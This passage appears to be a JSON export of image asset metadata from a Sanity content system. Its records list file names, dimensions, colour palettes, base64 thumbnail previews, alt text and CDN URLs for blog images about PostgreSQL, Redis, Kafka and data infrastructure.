z1eFgbBiPJ3m2kjoic2GaS5W5RIlDuHxEEKJ57phjQwwN07Q/Qx8Q+DscA5KQPe7ZjUfCTK8tGiRpcJJmo74ECWVp9Iw6PqODpzzKCxh/FmSY4GkOoulAlvWTpCeNOJPgbsyzGQKBeJmtGjrd6xR2grkihA8nwJMURBMHGQ6migiTD9EclDvxZzPeDOVOZ/aTqDMB2aJuE+SxwBRG/QsIpP1M99RnWQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#464c69","foreground":"#fff","population":1.46,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#642035","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#9e6f6c","foreground":"#fff","population":2.69,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b6b8d2","foreground":"#000","population":2.45,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f48cad","foreground":"#000","population":0.26,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9e6f6c","foreground":"#fff","population":2.69,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a03456","foreground":"#fff","population":1.63,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"mikko-rontynen.png","path":"images/sczeoy4w/production/72e4ac971b6ec9b7e3984a5043e7b67c4b264ab2-347x348.png","sha1hash":"72e4ac971b6ec9b7e3984a5043e7b67c4b264ab2","size":131643,"uploadId":"8fvXbMmFyrgFqOuklQyA2gh6X6zwbjhw","url":"https://cdn.sanity.io/images/sczeoy4w/production/72e4ac971b6ec9b7e3984a5043e7b67c4b264ab2-347x348.png"} {"_createdAt":"2022-11-23T14:49:49Z","_id":"image-c41f431e3a817eac85b67a6438c60442661cc685-690x413-png","_rev":"z7EiK8inwybcbhSAyAB8ja","_type":"sanity.imageAsset","_updatedAt":"2022-11-23T14:49:49Z","assetId":"c41f431e3a817eac85b67a6438c60442661cc685","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M89F+ZWX0Os,xZ14j@}mWWNd0hj?}=WXsl","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6707021791767553,"height":413,"width":690},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAAB+0lEQVQokYXQXUsUURgH8P80auNkLyqUgi44O0dhtzlndabddWfPWaLGhCgiw6IIAolewG/QRReiNIFUVqsjFQQG0dfoI0Sw0cVKN3URQdhNSSdm3F2HGu3An8OZ5zw/njNAbBHKo5jRLkDYVqIzi53Z1p1oZzxOxLBmQxOMASEe/9YCG2jiajVsNyuNNCZugUp8QrITCP080lTAsASGGVcJ472E8ZTJxAChvM+koo8wPhhmmPEDmdGyEmKEccjlBK9zyEN2rIyxY6UQ7iKM5wnjlwjjlwnjFwnjFwjjUyYVZwxLjKSylfZdwUKhiG5yAlICIznea1IxaVjipmGJG2kqbhtUzBiWmCaMT2dGy/mcU9J3BV/N9gOoQb4Grp/N9kx5uXFPOF6+UByntlugtmtPVBzn1rnM5NxVw12b7T9o2S5OVRzIlQRwY0mNppNvgA8L+v53c/sytXm9WPc1u+5rtO5r1rqvOeu+5n1Z7HA3ltTua6eP4u2dQ8mgfA7IAJAvAfkCbfIZDstV5GSA4zLAhAxwUgYoyQCWXMWgDKDdmxkK7+4ArgFfH7Tj40In7l5J49P9veqPx3u6flWVI5tVpDarGPj5VOn5/kjVPi92qN8etkG+B2rzevI//L2MqBBl5a/Ea/E82e77F2w2hs/+DxgiEdSsxZ78B9evznQf40LlAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2a324c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8a3c04","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f99608","foreground":"#000","population":1.07,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7a561e","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d19b48","foreground":"#000","population":0.13,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a0804e","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f99608","foreground":"#000","population":1.07,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"aws-690x413.png","path":"images/sczeoy4w/production/c41f431e3a817eac85b67a6438c60442661cc685-690x413.png","sha1hash":"c41f431e3a817eac85b67a6438c60442661cc685","size":33725,"uploadId":"gqriZI36YmixdkHXJHTKgvqrfvmq8GsL","url":"https://cdn.sanity.io/images/sczeoy4w/production/c41f431e3a817eac85b67a6438c60442661cc685-690x413.png"} {"_createdAt":"2022-10-31T16:44:39Z","_id":"image-07c9d7e35b005dae4b72cfe28f0dd7ebfd332e3f-2500x1308-png","_rev":"lphXWqQMSgVk8QMimDKVbB","_type":"sanity.imageAsset","_updatedAt":"2022-10-31T16:50:38Z","altText":"A blue background, with the Aiven cuddly crab logo, and a pair of overlapping rings, perhaps evoking the idea of adjacent search areas. The text reads: Use PostgreSQL® JSON functions to parse semi-structured restaurant reviews. If we can use a database to choose baby names, you should expect us to use a database to choose where to eat.","assetId":"07c9d7e35b005dae4b72cfe28f0dd7ebfd332e3f","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MA7.2x.8IAofM{_4t7IUkCRjD$M{ofoeof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABcRAAAXEQHKJvM/AAACA0lEQVQokXWS/U9SURjHkQvei80ZLGzrzbZeHJx7L5QJaiIioGI6bWuzNd+5L4AEpmU6M7M1a0Cg/sPf9jz3VnOrH76755x7ns/z8j0eSSuhd7iG0Og73Bjbxc3Ue4Sf7/I+NLqD/tQe7k59xK30BwRHdhAe38NA7hD3sgfoS9bhVW14IiY8Ucv5KvEKHhU+Ifn6OxLLZxh78wMTq01WaqWB1GoDmY2ffD744hj60ikyGy2k11t4OHsEOVb5CyT1PK1CWzxFdqvNgbliBwX7AjPmOXJbbT6ftS6QNzqcMLl8hnyxg2njHOriF/QMVeGJEMx2pDzZRmT+M8OmNtt8mWAEmlxvIbvZRsG+xFzpkv9PrDX5TnqtiQczR6B4BomSIzleweDcMQOpimlXtKeWx1caDM+7ZwSidqMLJ+hL1ODTbEiqjS5BFbrAxy6QKqNWaH6R+RPcITMm99mA+/lDNmMge8AmBUfqkHULsmZCUS34hYkumqFfL+N2Zh/6y68YevWNRdnJUcrsFU4Fklpy5ez9moVAzICiO8CAsCAR0CssXIuXEUzUcD1Z5ydERtFzYvf+I0kQrAhZNyGrNgLCho9m6IsaCOomwsPb6H32lqv4E/j7KfxDXmGiWzOgaEUoqoluQd24wFDMRH+i6gxZL18NvgKmNSVz1t6oCb8wWLSmO78A1FZnwDwgkvcAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#563243","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":53.65,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":53.65,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acaacd","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a3bad4","foreground":"#000","population":0.7,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5d7494","foreground":"#fff","population":1.8,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4464bc","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Exploring-PG-JSON-functions-blog-hero-image.png","path":"images/sczeoy4w/production/07c9d7e35b005dae4b72cfe28f0dd7ebfd332e3f-2500x1308.png","sha1hash":"07c9d7e35b005dae4b72cfe28f0dd7ebfd332e3f","size":140121,"title":"If we can use a database to choose baby names, you should expect us to use a database to choose where to eat.","uploadId":"hsI3ME2lbaLXgAu3RqxahFityzbnIMsm","url":"https://cdn.sanity.io/images/sczeoy4w/production/07c9d7e35b005dae4b72cfe28f0dd7ebfd332e3f-2500x1308.png"} {"_createdAt":"2022-11-21T11:56:00Z","_id":"image-2ce8f2d9b9ee3d1a9def330081bf9e7300e36f29-1742x995-png","_rev":"YI3rks3mbRtnzMpdo129Rc","_type":"sanity.imageAsset","_updatedAt":"2022-11-21T11:56:54Z","altText":"Screenshot for how to use the Aiven API and Postman to make an API call: redis created","assetId":"2ce8f2d9b9ee3d1a9def330081bf9e7300e36f29","description":"Well hot diggity, you made a Redis! This is a screenshot of an example procedure for Aiven API calls with Postman.","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7507537688442212,"height":995,"width":1742},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAABx0lEQVQokZ2Q3W7bMAyF/f5vMewNCqTXxbDbARsQDE2zrInsOLYl2ZYcWST1N0jNivWuHYEPkg6BQ+pUl8P+oT3+3rdNXffdhQnOmRSCCT4wPvRMDD2TfGCj5GySojDK3O9Z37WZU9ddmrY9b+uafarE8Xk7NI2WQpBSGrXSqJRCrTWuxqC1FgEsIgAivgAApaeVwrnrYTqcnNw/D+JY31Wi7Z5GLkHrazLGJr0sSSmVluWaEDF571MI4ZUYYzl9CMkBJssu6fr1e9IP32b9Y3dfjb181JNezdUmazFaa+O62ggAkYii9z6GEF55Uz5EP+pAv+oEu+O4ntpNJfm0U/PVFsMVIxhMBJi8c2UT530iooK7aUV3Pr+jJxc9UiILkzXrpuJ83M3Z0ECyhqJdIOFqk3dUvpcNAaGQTXMEmXxHxEjOxTLUuclau6mEmHZKXe26YkJw0ZFP3vm3ed1M/s3yRQ9/o8j9CQA21TiqR72sxZDIxZxSStnr3RVug0dE3FRSTE9qXiBnSOjKVv9TIYQZEe8rfu63Yyf0MmqHFjGEgDHGj+K99wMA3FWcXb7IujvMvTybxTSI2BDRR6iJqEXEn8aYz38AHIhLjiL4QFAAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e3036","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#542c74","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d0345c","foreground":"#fff","population":0.7,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c5b5a7","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e09dad","foreground":"#000","population":0.21,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c9c74","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d0345c","foreground":"#fff","population":0.7,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"redis-created.png","path":"images/sczeoy4w/production/2ce8f2d9b9ee3d1a9def330081bf9e7300e36f29-1742x995.png","sha1hash":"2ce8f2d9b9ee3d1a9def330081bf9e7300e36f29","size":136823,"title":"Screenshot for how to use the Aiven API and Postman to make an API call: redis created","uploadId":"YcqbkkI0j4tjz748yWLO0pAxArBFOEpB","url":"https://cdn.sanity.io/images/sczeoy4w/production/2ce8f2d9b9ee3d1a9def330081bf9e7300e36f29-1742x995.png"} {"_createdAt":"2023-01-25T06:09:54Z","_id":"image-4d4b37f3664fcbf75ec4f61b22e5f2fea304fa77-1567x844-png","_rev":"skkqASck9GuJ97lqseo3sP","_type":"sanity.imageAsset","_updatedAt":"2023-01-25T06:13:22Z","altText":null,"assetId":"4d4b37f3664fcbf75ec4f61b22e5f2fea304fa77","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MIQ+:2LgXSzopwWAMdTyvgwIQ-NuWVrqcE","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACTklEQVQokX2RzWvUQBiH808JHhT0UC9ePPkX6KoI0otQD6UIQk8q6EERBb8utj2KUm1rP21tWrS11LX70d1sksnMO8lmk8zatUl+kilbSgseHuadr2d+vGO4rA3LlthtcjQsjqYl9FhveJpiz6MYRB2E5nv8vXcR6ZXziJ8/g6xZIApBIgTJBCRjGDuVFtbWtzC/uIqFRROLX9cwO7+C6S9Leu3nVgUOCyGZQDT9Ar2hc/hz4xL8sQnwhg0hAv1YISvERvl3AyurPzA7t6wlU9MLmPw0i4+TM1pY7DMRwW/WkIyNYO/maSS3SxBTc2A2g+A+iKIDIQ9gtBwftV2GSs1GeaeJ7fLuIdW6A9cLIWSCoGyi++Qq9kpnEI3eBV/fhMcESAuLlkQHwuLwUTjFGiELEpCv9OvBLxPxm2HEo7fQHh+HV2mAFzLdv4Mea6G+8B+EFiYg2wFtmBDflsG3K2COgHAY/HoVfrUGslwIT8IQxwXHEvdTFqkZ74B5bTAvAHMJweYCkomHiN8+hVw2wRwOg2SSi2OQr07MOSW5y6OceUHueu2cW1Yef3ic79+5kO8NlXI5OZMzh+cGsQCsJdBq0eEHHE3arz0Rw/WKhIGGdjbQfTWI7PopdIcHQUum7qlBNk+dqpXWa3bacvyUU5ySr1IhE02/ZiJKXd5JGQ9TxmQWfP+c9R5cztNrZ/Pk0f1MbFczIaPUIB4qzgLlsrbyRKSETBT5So/9mstEuTxSLu8ol8eKudQNl9719kcGsrQ0kMUvX/eo4XWFr9Q/G7gTGdvPrB0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c54","foreground":"#fff","population":0.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a8443b","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f7770d","foreground":"#fff","population":1.73,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4c4d4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcbd70","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c707c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7770d","foreground":"#fff","population":1.73,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"In-place_upgrades_for_PostgreSQL®_blog.png","path":"images/sczeoy4w/production/4d4b37f3664fcbf75ec4f61b22e5f2fea304fa77-1567x844.png","sha1hash":"4d4b37f3664fcbf75ec4f61b22e5f2fea304fa77","size":104447,"title":"In-place upgrades for PostgreSQL","uploadId":"FQkgpSJMugrfsdJ03U3zNcC8EJRmwUMH","url":"https://cdn.sanity.io/images/sczeoy4w/production/4d4b37f3664fcbf75ec4f61b22e5f2fea304fa77-1567x844.png"} {"_createdAt":"2022-11-02T06:03:26Z","_id":"image-7566d6ab518e00240be0f418d5711588b2ff4761-3133x1688-png","_rev":"RAkpfkXVs5j2ZYblu136L1","_type":"sanity.imageAsset","_updatedAt":"2022-11-02T06:06:54Z","altText":"5 reasons to automate your data infrastructure","assetId":"7566d6ab518e00240be0f418d5711588b2ff4761","description":"What do you think of when you hear \"infrastructure\"? If it's virtual machines, load balancers and network switches, then you're missing a critical piece of the puzzle - the data.","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.856042654028436,"height":1688,"width":3133},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAC4jAAAuIwF4pT92AAACZklEQVQokVXOzU/TYBwH8P41JnoyJgYP3kg8aKLEmHjygHgkvlwMHgzqQYJe8KAIEgRkEFrGyyYDETZg6zZa9gq4tVvXl3Vrnz5Py9Y+HYKDmO1G8jl8D79vvj9CA/VyBUkKaDPkMpTLUJKBKANJBoqKdMOGyDGBUhO2HZpy5kk8NW2vUVY+QZQkLZ3J07HEToSJRPfiTCYWT4UjTDjCRmg2kTwUZWDAmqXxNSlkJxexf9ahFpylaXtjnCgIKrOX3Q7vbgbpYIgO02wrh+jgVnRrOxaNJ/O8VNWQqRVr0oaTnXE2Z+2VX453Fvs+EeWKWSxV+GKZKyh5Xi4IKl9U87zCFVpynJQ94FKZPyX+8Ihfxalv+PeIQ3rwjAcvjRGG6RoIX2C6EGEN1AtChWGzfn+AnCPp4Ep15ytefv53vOf4Sx+eHMWkh0BW4wLThaZbBbYgG3EmQ5Le6dGP/om3Yd/I4eIH/fN93H/t9OXNk/7Hx0ODBGxdN9paNWi6GrD3uSqdKEbi++sBL0s+k+fuFJdfsL5hevRV+s1d+LTjX3dHs+deu4xcA7mtb00XWm5Ft9l9ORjnktmCmPLW17tOqUu1n48yGz9mJsa+D75OD/Qe994+77pBQP1IV6GqoiqoGwhD09UhFmSUE4CiiPbBcHPtenP5ap0eOGC2KMo7OTGV8C84Q/3nDzsJVIGaoIqlilq1DISR1do3TGwg1wRiI/P+LHDldLVTT5HpZDIUDNHRXTHHOZTnrLuLMKENQU1vzyLLNY8aba1gGWIj8+4scPlk7ZaSIFmGiUVjOa4IylXsm28+efAfk7UUNTnykbwAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#414347","foreground":"#fff","population":3.43,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#895137","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#414347","foreground":"#fff","population":3.43,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4c19e","foreground":"#000","population":1.5,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc66ac","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#647fb0","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6790c","foreground":"#fff","population":1.84,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"5_reasons_automate_blog.png","path":"images/sczeoy4w/production/7566d6ab518e00240be0f418d5711588b2ff4761-3133x1688.png","sha1hash":"7566d6ab518e00240be0f418d5711588b2ff4761","size":692576,"title":"5 reasons to automate your data infrastructure","uploadId":"kRZNGvPufyz0JUxUwvS4GciTbbmNF9A3","url":"https://cdn.sanity.io/images/sczeoy4w/production/7566d6ab518e00240be0f418d5711588b2ff4761-3133x1688.png"} {"_createdAt":"2024-02-19T17:23:03Z","_id":"image-f9bfbb77b696f02fd9711c32e0c4b0a82f97d983-3024x1380-png","_rev":"ie5WJlLr1SLUBaBgCm432m","_type":"sanity.imageAsset","_updatedAt":"2024-02-19T17:23:03Z","assetId":"f9bfbb77b696f02fd9711c32e0c4b0a82f97d983","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M3S$lm029J.9tT~8Rp%Ng2ozT3ngs+bDWA","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.1913043478260867,"height":1380,"width":3024},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAAsTAAALEwEAmpwYAAABGElEQVQokXWQ227EIAxE8//fWVXbJoRg8AXbQAXZ3b60oxHySD7Cmu08rxCudEIOAGcGKAWpFF4vZVyjIApyZXPrL7XWthghRgDAFGH/2o99LzkLs/CUMNWKqmzKZtK89qaj2WjWm20x5pQKImOG8P15PD4w7UpReZmmjaPxZRxdrq5pWF4uW7wyABKJUIG4p/Ag2JXOBfza+XKZcJswLJftjPm65s9ElCFlSExFK2tl13mnm/jrYLcZ12yj23YcKZyQMyPybKugSFW1Ws3Me+++dJfk7mbu3nofY4wthBRjRhThirNhZJZ7o7X27nbujrFKfsbe+10YEtUqendcq97kn/A7TjilkhIiThiREEnVen/u3cx/+gFwLws+eGVTPAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#434544","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#923e69","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#434544","foreground":"#fff","population":0.05,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4b4cc","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ecb4d4","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c4c74","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b45c84","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"kafka-tiered-terraform-console-metrics.png","path":"images/sczeoy4w/production/f9bfbb77b696f02fd9711c32e0c4b0a82f97d983-3024x1380.png","sha1hash":"f9bfbb77b696f02fd9711c32e0c4b0a82f97d983","size":88468,"uploadId":"1iIbpalaQ3wazMY4ccNXocSG4QTclqwL","url":"https://cdn.sanity.io/images/sczeoy4w/production/f9bfbb77b696f02fd9711c32e0c4b0a82f97d983-3024x1380.png"} {"_createdAt":"2022-11-01T12:32:39Z","_id":"image-0947470d720f84c3e5d47de0d666bfa1da1ec018-1567x844-png","_rev":"w0Neky3k4wCcu4tnvVbWCT","_type":"sanity.imageAsset","_updatedAt":"2022-11-01T12:32:39Z","assetId":"0947470d720f84c3e5d47de0d666bfa1da1ec018","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MvPsP2*0wbM{oztRRjVso}s:-BI:V@s:bc","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACZElEQVQokV2RS0wTURSGZ+PGFSYG98Y97tzg2oSFGxKX6ooUoyYmUqCiFgOIPGyBKY0KTCkUqUQCtjEaSCnC0DoU2woWkJa29DGdzqMz986jQjs1gwaMybf4FufP+XMOwvJFMi9kcjxFwxwNSQpkKSFHiwVwCGUVyhUNRRVFRcrvyvsL8s6CvL0sRQkpE0ESKToQjKz5g4FgZCMUIdY3/V/DG8FIMs3w8EhUVCCVOEFhskl+wyHONyijdfLwNXm0XnHqkEQqTwQ2vV/8uO+bjwiv4oE/vhfLcEKxAJQ0yexF4zshIro4coDd4rovA8MF0FwltJxHmIKcyrD7CTJ+kE+m6XiSimlOkXlA0kLo+/aSd2UVX1te8nyce/d5cjA89jA9dJ3uquGfXkSgrAKpDKTSMX9FkEqscBjc2sPGJ8cw2/vZ2SEUbTEY2o3GEbR/7lXnymv99tg9BMoVUfkfqKgUJy16cbN50GbD7PZxg6FVp9Pp9fruFz0WFMVGrNOYVQtDbfr4qicoaopk5+bdJpPZ4ZhwTk9YLeYBc58FHXRM2t0u1weXa2raqdWGUhnI5dPHaKL+jKWGUKtO1/j4Uaupr6u3s+25Uf+y55lzyu5d8uC4D19dQyBf5BlIsyIn/ALSSb4SS+Rs9rdNTfonDxp679Z33Kztvn0V67jjcc8EiPWQz7ePuxHIQDZDZ7MszclAOt3PFIq70ZTfv07MDITba4ON57buVydNdflPpvjCxA97O2W9gUB4KAgKJxQFsfRP84qoHVKFYlGOeI7e1JUMZ9WWM6qxutxfA/quUG2XxOaq37YIBbmZPOFlAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3a3a59","foreground":"#fff","population":0.24,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c63c0e","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fa7305","foreground":"#fff","population":7.69,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#accca7","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#acc4fc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6671ac","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa7305","foreground":"#fff","population":7.69,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Build_real-time_analytics_pipeline_blog.png","path":"images/sczeoy4w/production/0947470d720f84c3e5d47de0d666bfa1da1ec018-1567x844.png","sha1hash":"0947470d720f84c3e5d47de0d666bfa1da1ec018","size":155886,"uploadId":"VuMMxQy5hZ40cyeZFIZai2axZC0gdVJK","url":"https://cdn.sanity.io/images/sczeoy4w/production/0947470d720f84c3e5d47de0d666bfa1da1ec018-1567x844.png"} {"_createdAt":"2022-11-23T15:22:44Z","_id":"image-ecfa4ed6ba49dcab87d3bee6514bba202757716b-690x413-png","_rev":"z7EiK8inwybcbhSAyAE2U0","_type":"sanity.imageAsset","_updatedAt":"2022-11-23T15:22:44Z","assetId":"ecfa4ed6ba49dcab87d3bee6514bba202757716b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MD4p2MyGL~HqS;i+j1f}b:axHqMvt,yYr}","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6707021791767553,"height":413,"width":690},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAACrUlEQVQokWNgYGBgKI54z1AS+pGhOOIDQ3Hke4bimLcMhVlPGfKarjHkTjzPEFq1jEFAzoKBQ0ibgUtMn4FTRBcDowCIYe/BhpUEfWYo9f/KUBz9jqEg/xFDQeU9hoC4pQz80uZgA3nEDRm4RPUYOEV1wZhLTA+7gSXBn8AuLAn9xFgS9pGpKPEVU37pPab81utMfpnzGfllzBg5hLQZQQYSdGFxFMjLn0AuZCuOfqdanPDaujDvsUlux2WLnGmnzcKbVsgIKFiIcgjpSHCJ6klwiuiKcIrocuAx8B1DaeAXhpKwjzzFcW9CilJfTC4oetCU03e+PXvu8e6I7uU+goqWZhxCOi5conpunCK6tpwiurKcIrrMWA0tSnkJNrA47g1HYeYzj4LChxPy6242Zc0+3pC5en9f2JQFIQKKFs4cQjphXKJ6EZwiuv6cIrranCK6bFgNzGu+xpBfcZchv/YmV27bFe/c3gtd2XOO16bt3FqXemJdW+i6ad6CKuaWHEI6vlyiegGcIrqenCK6OpwiulzcSLEOBzl9Fxjy626Ckgl3zuQzIVlzj83LWLO3N/Xkmr7kG4tnRp2Z6idqZKPCzq+tzyWmZwQ1TI5TRJebU0SXkUMY3cApZ8Dezqu/wZw195h65ooDEelbdgYmX1zunfRwXlT0jcmGknaOwmw8WuJc4vqS0Ejh4RTRZQUZiOHCtEMbGdJ2b2HImnuMIX33Fub0ndt40/Zu5k26N58r4d00/ohbPVwS1vasbLxabFxieuzoBmEYmHxrEUNe3Q2G/Mo7DKkn1zCkb9/OkLZvM0PCqxkMCe+nMsQ8n8AgYmbJwM6vA0/IeNNi1rxjEC+3XmXIXHaQIXPVfob0LTsZkm8sZkh8Moch/sl0BtU4XwYWVnUGHmnsCRtmIADzrvLKqg8+FAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#325f62","foreground":"#fff","population":0.19,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#145a4e","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#325f62","foreground":"#fff","population":0.19,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#86adb4","foreground":"#000","population":0.07,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#725cf6","foreground":"#fff","population":0.14,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#616596","foreground":"#fff","population":0.14,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","b